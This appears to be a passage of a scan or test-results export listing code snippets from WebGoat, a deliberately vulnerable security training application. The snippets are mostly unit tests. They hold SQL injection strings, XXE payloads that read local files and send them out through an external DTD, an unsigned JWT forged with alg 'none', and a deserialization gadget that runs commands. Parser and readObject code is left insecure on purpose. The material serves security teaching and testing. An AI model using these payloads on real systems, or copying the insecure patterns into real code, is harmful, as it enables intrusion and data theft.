           .andExpect(jsonPath(\"$[0].numberOfVotes\").doesNotExist())\n                .andExpect(jsonPath(\"$[0].votingAllowed\").doesNotExist())\n                .andExpect(jsonPath(\"$[0].average\").doesNotExist());\n    }\n\n    @Test\n    public void tomShouldSeeNumberOfVotes() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/xxe/SimpleXXETest.java\nStartLine: 71, EndLine: 82\nCode:\n}\n\n    @Test\n    public void postingXmlCommentWithoutXXEShouldNotSolveAssignment() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/xxe/simple\")\n                .content(\"<?xml version=\\\"1.0\\\" standalone=\\\"yes\\\" ?><comment><text>&root;</text></comment>\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"assignment.not.solved\"))));\n    }\n\n    @Test\n    public void postingPlainTextShouldShwoException() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/insecure-deserialization/src/test/java/org/owasp/webgoat/deserialization/DeserializeTest.java\nStartLine: 32, EndLine: 50\nCode:\n}\n\n    @Test\n    public void success() throws Exception {\n    \tif (OS.indexOf(\"win\")>-1) {\n    \t\tmockMvc.perform(MockMvcRequestBuilders.post(\"/InsecureDeserialization/task\")\n                    .header(\"x-request-intercepted\", \"true\")\n                    .param(\"token\", SerializationHelper.toString(new VulnerableTaskHolder(\"wait\", \"ping localhost -n 5\"))))\n            \t\t.andExpect(status().isOk()).andExpect(jsonPath(\"$.lessonCompleted\", is(true)));\n    \t} else {\n    \t\tmockMvc.perform(MockMvcRequestBuilders.post(\"/InsecureDeserialization/task\")\n                .header(\"x-request-intercepted\", \"true\")\n                .param(\"token\", SerializationHelper.toString(new VulnerableTaskHolder(\"wait\", \"sleep 5\"))))\n        \t\t.andExpect(status().isOk()).andExpect(jsonPath(\"$.lessonCompleted\", is(true)));\n    \t}\n    }\n    \n    @Test\n    public void fail() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/xxe/BlindSendFileAssignmentTest.java\nStartLine: 54, EndLine: 68\nCode:\n}\n\n    @Test\n    public void validCommentMustBeAdded() throws Exception {\n        int nrOfComments = comments.getComments().size();\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/xxe/blind\")\n                .content(\"<comment><text>test</text></comment>\"))\n\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"assignment.not.solved\"))));\n        assertThat(comments.getComments().size()).isEqualTo(nrOfComments + 1);\n    }\n\n    @Test\n    public void wrongXmlShouldGiveErrorBack() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/cross-site-scripting/src/test/java/org/owasp/webgoat/xss/DOMCrossSiteScriptingTest.java\nStartLine: 69, EndLine: 81\nCode:\n}\n\n    @Test\n    public void failure() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/CrossSiteScripting/phone-home-xss\")\n                .header(\"webgoat-requested-by\", \"wrong-value\")\n                .param(\"param1\", \"22\")\n                .param(\"param2\", \"20\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.lessonCompleted\", CoreMatchers.is(false)));\n    }\n\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTRefreshEndpointTest.java\nStartLine: 184, EndLine: 208\nCode:\n}\n\n    @Test\n    public void unknownRefreshTokenShouldGiveUnauthorized() throws Exception {\n        ObjectMapper objectMapper = new ObjectMapper();\n        Map<String, Object> loginJson = Maps.newHashMap();\n        loginJson.put(\"user\", \"Jerry\");\n        loginJson.put(\"password\", PASSWORD);\n        MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/refresh/login\")\n                .contentType(MediaType.APPLICATION_JSON)\n                .content(objectMapper.writeValueAsString(loginJson)))\n                .andExpect(status().isOk())\n                .andReturn();\n        Map<String, String> tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class);\n        String accessToken = tokens.get(\"access_token\");\n\n        Map<String, Object> refreshJson = Maps.newHashMap();\n        refreshJson.put(\"refresh_token\", \"wrong_refresh_token\");\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/refresh/newToken\")\n                .contentType(MediaType.APPLICATION_JSON)\n                .header(\"Authorization\", \"Bearer \" + accessToken)\n                .content(objectMapper.writeValueAsString(refreshJson)))\n                .andExpect(status().isUnauthorized());\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/password-reset/src/main/test/java/org/owasp/webgoat/password_reset/SecurityQuestionAssignmentTest.java\nStartLine: 69, EndLine: 85\nCode:\n}\n\n    @Test\n    public void solvingForOneUserDoesNotSolveForOtherUser() throws Exception {\n        MockHttpSession mocksession = new MockHttpSession();\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/PasswordReset/SecurityQuestions\")\n                .param(\"question\", \"What is your favorite animal?\").session(mocksession));\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/PasswordReset/SecurityQuestions\")\n                .param(\"question\", \"In what year was your mother born?\").session(mocksession))\n                .andExpect(jsonPath(\"$.lessonCompleted\", CoreMatchers.is(true)));\n\n        MockHttpSession mocksession2 = new MockHttpSession();\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/PasswordReset/SecurityQuestions\")\n                .param(\"question\", \"What is your favorite animal?\").session(mocksession2)).\n                andExpect(jsonPath(\"$.lessonCompleted\", CoreMatchers.is(false)));\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson6aTest.java\nStartLine: 64, EndLine: 77\nCode:\n}\n\n    @Test\n    public void wrongDataTypeOfColumns() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjectionAdvanced/attack6a\")\n                .param(\"userid_6a\", \"Smith' union select 1,password, 1,'2','3', '4',1 from user_system_data --\"))\n\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.lessonCompleted\", is(false)))\n                .andExpect(jsonPath(\"$.output\", containsString(\"incompatible data types in combination\")));\n    }\n\n    @Test\n    public void correctSolution() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/missing_ac/MissingFunctionYourHashTest.java\nStartLine: 62, EndLine: 74\nCode:\n}\n\n    @Test\n    public void HashDoesNotMatch() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/access-control/user-hash\")\n                .param(\"userHash\", \"42\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.containsString(\"Keep trying, this one may take several attempts\")))\n                .andExpect(jsonPath(\"$.lessonCompleted\", CoreMatchers.is(false)));\n    }\n\n    @Test\n    public void hashMatches() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/xxe/BlindSendFileAssignmentTest.java\nStartLine: 99, EndLine: 126\nCode:\n}\n\n    @Test\n    public void solveOnlyParamReferenceEntityInExternalDTD() throws Exception {\n        File targetFile = new File(webGoatHomeDirectory, \"/XXE/secret.txt\");\n        //Host DTD on WebWolf site\n        String dtd = \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\" +\n                \"<!ENTITY % all \\\"<!ENTITY send SYSTEM 'http://localhost:\"+port+\"/landing?text=%file;'>\\\">\\n\";\n        webwolfServer.stubFor(get(WireMock.urlMatching(\"/files/test.dtd\"))\n                .willReturn(aResponse()\n                        .withStatus(200)\n                        .withBody(dtd)));\n        webwolfServer.stubFor(get(urlMatching(\"/landing.*\")).willReturn(aResponse().withStatus(200)));\n\n        //Make the request from WebGoat\n        String xml = \"<?xml version=\\\"1.0\\\"?>\" +\n                \"<!DOCTYPE comment [\" +\n                \"<!ENTITY % file SYSTEM \\\"\" + targetFile.toURI().toString() + \"\\\">\\n\" +\n                \"<!ENTITY % remote SYSTEM \\\"http://localhost:\"+port+\"/files/test.dtd\\\">\" +\n                \"%remote;\" +\n                \"%all;\" +\n                \"]>\" +\n                \"<comment><text>test&send;</text></comment>\";\n        performXXE(xml);\n    }\n\n    private void performXXE(String xml) throws Exception {\n        //Call with XXE injection","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/client-side-filtering/src/test/java/org/owasp/webgoat/client_side_filtering/ShopEndpointTest.java\nStartLine: 52, EndLine: 62\nCode:\n}\n\n    @Test\n    public void getSuperCoupon() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/clientSideFiltering/challenge-store/coupons/\" + SUPER_COUPON_CODE))\n                .andExpect(jsonPath(\"$.code\", CoreMatchers.is(SUPER_COUPON_CODE)))\n                .andExpect(jsonPath(\"$.discount\", CoreMatchers.is(100)));\n    }\n\n    @Test\n    public void getCoupon() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/xxe/BlindSendFileAssignmentTest.java\nStartLine: 65, EndLine: 78\nCode:\n}\n\n    @Test\n    public void wrongXmlShouldGiveErrorBack() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/xxe/blind\")\n                .content(\"<comment><text>test</ext></comment>\"))\n\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"assignment.not.solved\"))))\n                .andExpect(jsonPath(\"$.output\", CoreMatchers.startsWith(\"javax.xml.bind.UnmarshalException\\\\n - with linked exception:\\\\n[javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,22]\\\\nMessage:\")));\n    }\n\n    @Test\n    public void solve() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/http-proxies/src/test/java/org/owasp/webgoat/http_proxies/HttpBasicsInterceptRequestTest.java\nStartLine: 61, EndLine: 74\nCode:\n}\n\n    @Test\n    public void failure() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/HttpProxies/intercept-request\")\n                .header(\"x-request-intercepted\", \"false\")\n                .param(\"changeMe\", \"Requests are tampered easily\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"http-proxies.intercept.failure\"))))\n                .andExpect(jsonPath(\"$.lessonCompleted\", CoreMatchers.is(false)));\n    }\n\n    @Test\n    public void missingParam() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 140, EndLine: 168\nCode:\n}\n\n    @Test\n    public void tomShouldBeAbleToVote() throws Exception {\n        MvcResult result = mockMvc.perform(MockMvcRequestBuilders.get(\"/JWT/votings/login\")\n                .contentType(MediaType.APPLICATION_JSON)\n                .param(\"user\", \"Tom\"))\n                .andExpect(status().isOk()).andReturn();\n        Cookie cookie = result.getResponse().getCookie(\"access_token\");\n\n        result = mockMvc.perform(MockMvcRequestBuilders.get(\"/JWT/votings\")\n                .cookie(cookie))\n                .andExpect(status().isOk()).andDo(print()).andReturn();\n        Object[] nodes = new ObjectMapper().readValue(result.getResponse().getContentAsString(), Object[].class);\n        int currentNumberOfVotes = (int) findNodeByTitle(nodes, \"Admin lost password\").get(\"numberOfVotes\");\n\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/votings/Admin lost password\")\n                .cookie(cookie))\n                .andExpect(status().isAccepted());\n        result = mockMvc.perform(MockMvcRequestBuilders.get(\"/JWT/votings\")\n                .cookie(cookie))\n                .andExpect(status().isOk()).andReturn();\n        nodes = new ObjectMapper().readValue(result.getResponse().getContentAsString(), Object[].class);\n        int numberOfVotes = (int) findNodeByTitle(nodes, \"Admin lost password\").get(\"numberOfVotes\");\n        assertThat(numberOfVotes).isEqualTo(currentNumberOfVotes + 1);\n    }\n\n    private Map<String, Object> findNodeByTitle(Object[] nodes, String title) {\n        for (Object n : nodes) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/WebSecurityConfig.java\nStartLine: 66, EndLine: 74\nCode:\n}\n\n    @Autowired\n    public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {\n        auth.userDetailsService(userDetailsService); //.passwordEncoder(bCryptPasswordEncoder());\n    }\n\n    @Bean\n    @Override","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 65, EndLine: 84\nCode:\n}\n\n    @Test\n    public void solveAssignment() throws Exception {\n        //Create new token and set alg to none and do not sign it\n        Claims claims = Jwts.claims();\n        claims.put(\"admin\", \"true\");\n        claims.put(\"user\", \"Tom\");\n        String token = Jwts.builder().setClaims(claims).setHeaderParam(\"alg\", \"none\").compact();\n\n        //Call the reset endpoint\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/votings\")\n                .contentType(MediaType.APPLICATION_JSON)\n                .cookie(new Cookie(\"access_token\", token)))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.lessonCompleted\", is(true)));\n    }\n\n    @Test\n    public void resetWithoutTokenShouldNotWork() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/test/java/org/owasp/webwolf/mailbox/MailboxControllerTest.java\nStartLine: 104, EndLine: 123\nCode:\n@Test\n    @WithMockUser(username = \"test1233\")\n    public void differentUserShouldNotBeAbleToReadOwnEmail() throws Exception {\n        Email email = Email.builder()\n                .contents(\"This is a test mail\")\n                .recipient(\"test1234@webgoat.org\")\n                .sender(\"hacker@webgoat.org\")\n                .title(\"Click this mail\")\n                .time(LocalDateTime.now())\n                .build();\n        Mockito.when(mailbox.findByRecipientOrderByTimeDesc(\"test1234\")).thenReturn(Lists.newArrayList(email));\n\n        this.mvc.perform(get(\"/WebWolf/mail\"))\n                .andExpect(status().isOk())\n                .andExpect(view().name(\"mailbox\"))\n                .andExpect(content().string(not(containsString(\"Click this mail\"))));\n    }\n\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson12aTest.java\nStartLine: 41, EndLine: 62\nCode:\n}\n\n    @Test\n    public void addressCorrectShouldOrderByHostnameUsingSubstr() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/SqlInjectionMitigations/servers\")\n                .param(\"column\", \"case when (select ip from servers where hostname='webgoat-prd' and substr(ip,1,1) = '1') IS NOT NULL then hostname else id end\"))\n\n                .andExpect(status().isOk()).andExpect(jsonPath(\"$[0].hostname\", is(\"webgoat-acc\")));\n\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/SqlInjectionMitigations/servers\")\n                .param(\"column\", \"case when (select ip from servers where hostname='webgoat-prd' and substr(ip,2,1) = '0') IS NOT NULL then hostname else id end\"))\n\n                .andExpect(status().isOk()).andExpect(jsonPath(\"$[0].hostname\", is(\"webgoat-acc\")));\n\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/SqlInjectionMitigations/servers\")\n                .param(\"column\", \"case when (select ip from servers where hostname='webgoat-prd' and substr(ip,3,1) = '4') IS NOT NULL then hostname else id end\"))\n\n                .andExpect(status().isOk()).andExpect(jsonPath(\"$[0].hostname\", is(\"webgoat-acc\")));\n    }\n\n    @Test\n    public void addressIncorrectShouldOrderByIdUsingSubstr() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java\nStartLine: 81, EndLine: 99\nCode:\nreturn allComments.stream().sorted(Comparator.comparing(Comment::getDateTime).reversed()).collect(Collectors.toList());\n    }\n\n    protected Comment parseXml(String xml) throws Exception {\n        JAXBContext jc = JAXBContext.newInstance(Comment.class);\n\n        XMLInputFactory xif = XMLInputFactory.newFactory();\n        xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, true);\n        xif.setProperty(XMLInputFactory.IS_VALIDATING, false);\n\n        xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);\n        XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(xml));\n\n        Unmarshaller unmarshaller = jc.createUnmarshaller();\n        return (Comment) unmarshaller.unmarshal(xsr);\n    }\n\n    protected Optional<Comment> parseJson(String comment) {\n        ObjectMapper mapper = new ObjectMapper();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5aTest.java\nStartLine: 28, EndLine: 46\nCode:\npublic class SqlInjectionLesson5aTest extends SqlLessonTest {\n\n  @Test\n  public void knownAccountShouldDisplayData() throws Exception {\n    LinkedMultiValueMap<String, String> map = new LinkedMultiValueMap<>();\n    map.add(\"account\", \"Smith\");\n    map.add(\"operator\", \"\");\n    map.add(\"injection\", \"\");\n    mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjection/assignment5a\")\n            .params(map))\n\n            .andExpect(status().isOk())\n            .andExpect(jsonPath(\"lessonCompleted\", is(false)))\n            .andExpect(jsonPath(\"$.feedback\", is(messages.getMessage(\"assignment.not.solved\"))))\n            .andExpect(jsonPath(\"$.output\", containsString(\"<p>USERID, FIRST_NAME\")));\n  }\n\n  @Ignore\n  @Test","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/xxe/SimpleXXETest.java\nStartLine: 54, EndLine: 66\nCode:\n}\n\n    @Test\n    public void workingAttack() throws Exception {\n        //Call with XXE injection\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/xxe/simple\")\n                .content(\"<?xml version=\\\"1.0\\\" standalone=\\\"yes\\\" ?><!DOCTYPE user [<!ENTITY root SYSTEM \\\"file:///\\\"> ]><comment><text>&root;</text></comment>\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"assignment.solved\"))));\n    }\n\n    @Test\n    public void postingJsonCommentShouldNotSolveAssignment() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/cia/src/test/java/org/owasp/webgoat/cia/CIAQuizTest.java\nStartLine: 118, EndLine: 142\nCode:\n}\n\n    @Test\n    public void allAnswersCorrectGetResultsReturnsTrueTrueTrueTrue() throws Exception {\n        String[] solution0 = {\"Solution 3\"};\n        String[] solution1 = {\"Solution 1\"};\n        String[] solution2 = {\"Solution 4\"};\n        String[] solution3 = {\"Solution 2\"};\n\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/cia/quiz\")\n                .param(\"question_0_solution\", solution0)\n                .param(\"question_1_solution\", solution1)\n                .param(\"question_2_solution\", solution2)\n                .param(\"question_3_solution\", solution3));\n\n        MvcResult result = mockMvc.perform(MockMvcRequestBuilders.get(\"/cia/quiz\"))\n                .andExpect(status().isOk())\n                .andReturn();\n\n        String responseString = result.getResponse().getContentAsString();\n        assertThat(responseString).isEqualTo(\"[ true, true, true, true ]\");\n    }\n\n    @Test\n    public void firstAnswerFalseGetResultsReturnsFalseTrueTrueTrue() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/test/java/org/owasp/webgoat/service/LessonProgressServiceTest.java\nStartLine: 82, EndLine: 92\nCode:\n}\n\n    @Test\n    public void jsonLessonOverview() throws Exception {\n        this.mockMvc.perform(MockMvcRequestBuilders.get(\"/service/lessonoverview.mvc\").accept(MediaType.APPLICATION_JSON_VALUE))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$[0].assignment.name\", is(\"test\")))\n                .andExpect(jsonPath(\"$[0].solved\", is(true)));\n    }\n\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson12aTest.java\nStartLine: 59, EndLine: 70\nCode:\n}\n\n    @Test\n    public void addressIncorrectShouldOrderByIdUsingSubstr() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/SqlInjectionMitigations/servers\")\n                .param(\"column\", \"case when (select ip from servers where hostname='webgoat-prd' and substr(ip,1,1) = '9') IS NOT NULL then hostname else id end\"))\n\n                .andExpect(status().isOk()).andExpect(jsonPath(\"$[0].hostname\", is(\"webgoat-dev\")));\n    }\n\n    @Test\n    public void trueShouldSortByHostname() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/insecure-deserialization/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java\nStartLine: 32, EndLine: 70\nCode:\n* Execute a task when de-serializing a saved or received object.\n\t * @author stupid develop\n\t */\n\tprivate void readObject( ObjectInputStream stream ) throws Exception {\n        //unserialize data so taskName and taskAction are available\n\t\tstream.defaultReadObject();\n\t\t\n\t\t//do something with the data\n\t\tSystem.out.println(\"restoring task: \"+taskName);\n\t\tSystem.out.println(\"restoring time: \"+requestedExecutionTime);\n\t\t\n\t\tif (requestedExecutionTime!=null && \n\t\t\t\t(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))\n\t\t\t\t|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {\n\t\t\t//do nothing is the time is not within 10 minutes after the object has been created\n\t\t\tSystem.out.println(this.toString());\n\t\t\tthrow new IllegalArgumentException(\"outdated\");\n\t\t}\n\t\t\n\t\t//condition is here to prevent you from destroying the goat altogether\n\t\tif ((taskAction.startsWith(\"sleep\")||taskAction.startsWith(\"ping\"))\n\t\t\t\t&& taskAction.length() < 22) {\n\t\tSystem.out.println(\"about to execute: \"+taskAction);\n\t\ttry {\n            Process p = Runtime.getRuntime().exec(taskAction);\n            BufferedReader in = new BufferedReader(\n                                new InputStreamReader(p.getInputStream()));\n            String line = null;\n            while ((line = in.readLine()) != null) {\n                System.out.println(line);\n            }\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n\t\t}\n       \n    }\n\t\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/test/java/org/owasp/webwolf/mailbox/MailboxControllerTest.java\nStartLine: 71, EndLine: 87\nCode:\n@Test\n    @WithMockUser\n    public void sendingMailShouldStoreIt() throws Exception {\n        Email email = Email.builder()\n                .contents(\"This is a test mail\")\n                .recipient(\"test1234@webgoat.org\")\n                .sender(\"hacker@webgoat.org\")\n                .title(\"Click this mail\")\n                .time(LocalDateTime.now())\n                .build();\n        this.mvc.perform(post(\"/mail\").contentType(MediaType.APPLICATION_JSON).content(objectMapper.writeValueAsBytes(email)))\n                .andExpect(status().isOk());\n    }\n\n    @Test\n    @WithMockUser(username = \"test1234\")","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/test/java/org/owasp/webgoat/session/LabelDebuggerTest.java\nStartLine: 8, EndLine: 18\nCode:\npublic class LabelDebuggerTest {\n\n    @Test\n    public void testSetEnabledTrue() throws Exception {\n        LabelDebugger ld = new LabelDebugger();\n        ld.setEnabled(true);\n        assertTrue(ld.isEnabled());\n    }\n\n    @Test\n    public void testSetEnabledFalse() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/missing_ac/MissingFunctionYourHashTest.java\nStartLine: 71, EndLine: 81\nCode:\n}\n\n    @Test\n    public void hashMatches() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/access-control/user-hash\")\n                .param(\"userHash\", \"2340928sadfajsdalsNfwrBla=\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.containsString(\"Keep trying, this one may take several attempts\")))\n                .andExpect(jsonPath(\"$.lessonCompleted\", CoreMatchers.is(false)));\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/insecure-deserialization/src/test/java/org/owasp/webgoat/deserialization/DeserializeTest.java\nStartLine: 79, EndLine: 93\nCode:\n@Test\n    public void checkOtherObject() throws Exception {\n    \tString token = \"rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l\";\n    \tmockMvc.perform(MockMvcRequestBuilders.post(\"/InsecureDeserialization/task\")\n                .header(\"x-request-intercepted\", \"true\")\n                .param(\"token\", token))\n        \t\t.andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"insecure-deserialization.stringobject\"))))\n        \t\t.andExpect(jsonPath(\"$.lessonCompleted\", is(false)));\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/xxe/BlindSendFileAssignmentTest.java\nStartLine: 122, EndLine: 144\nCode:\nperformXXE(xml);\n    }\n\n    private void performXXE(String xml) throws Exception {\n        //Call with XXE injection\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/xxe/blind\")\n                .content(xml))\n\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"assignment.not.solved\"))));\n\n        List<LoggedRequest> requests = findAll(getRequestedFor(urlMatching(\"/landing.*\")));\n        assertThat(requests.size()).isEqualTo(1);\n        String text = requests.get(0).getQueryParams().get(\"text\").firstValue();\n\n        //Call with retrieved text\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/xxe/blind\")\n                .content(\"<comment><text>\" + text + \"</text></comment>\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"assignment.solved\"))));\n    }\n\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/xxe/BlindSendFileAssignmentTest.java\nStartLine: 75, EndLine: 102\nCode:\n}\n\n    @Test\n    public void solve() throws Exception {\n        File targetFile = new File(webGoatHomeDirectory, \"/XXE/secret.txt\");\n        //Host DTD on WebWolf site\n        String dtd = \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\" +\n                \"<!ENTITY % file SYSTEM \\\"\" + targetFile.toURI().toString() + \"\\\">\\n\" +\n                \"<!ENTITY % all \\\"<!ENTITY send SYSTEM 'http://localhost:\"+port+\"/landing?text=%file;'>\\\">\\n\" +\n                \"%all;\";\n        webwolfServer.stubFor(get(WireMock.urlMatching(\"/files/test.dtd\"))\n                .willReturn(aResponse()\n                        .withStatus(200)\n                        .withBody(dtd)));\n        webwolfServer.stubFor(get(urlMatching(\"/landing.*\")).willReturn(aResponse().withStatus(200)));\n\n        //Make the request from WebGoat\n        String xml = \"<?xml version=\\\"1.0\\\"?>\" +\n                \"<!DOCTYPE comment [\" +\n                \"<!ENTITY % remote SYSTEM \\\"http://localhost:\"+port+\"/files/test.dtd\\\">\" +\n                \"%remote;\" +\n                \"]>\" +\n                \"<comment><text>test&send;</text></comment>\";\n        performXXE(xml);\n    }\n\n    @Test\n    public void solveOnlyParamReferenceEntityInExternalDTD() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson12aTest.java\nStartLine: 25, EndLine: 36\nCode:\npublic class SqlInjectionLesson12aTest extends SqlLessonTest {\n\n    @Test\n    public void knownAccountShouldDisplayData() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/SqlInjectionMitigations/servers\")\n                .param(\"column\", \"id\"))\n\n                .andExpect(status().isOk());\n    }\n\n    @Test\n    public void addressCorrectShouldOrderByHostname() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/bypass-restrictions/src/test/java/org/owasp/webgoat/bypass_restrictions/BypassRestrictionsFrontendValidationTest.java\nStartLine: 45, EndLine: 62\nCode:\n}\n\n    @Test\n    public void bypassAllFieldShouldPass() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/BypassRestrictions/frontendValidation\")\n                .param(\"field1\", \"abcd\")\n                .param(\"field2\", \"1234\")\n                .param(\"field3\", \"abc $ABC 123\")\n                .param(\"field4\", \"ten\")\n                .param(\"field5\", 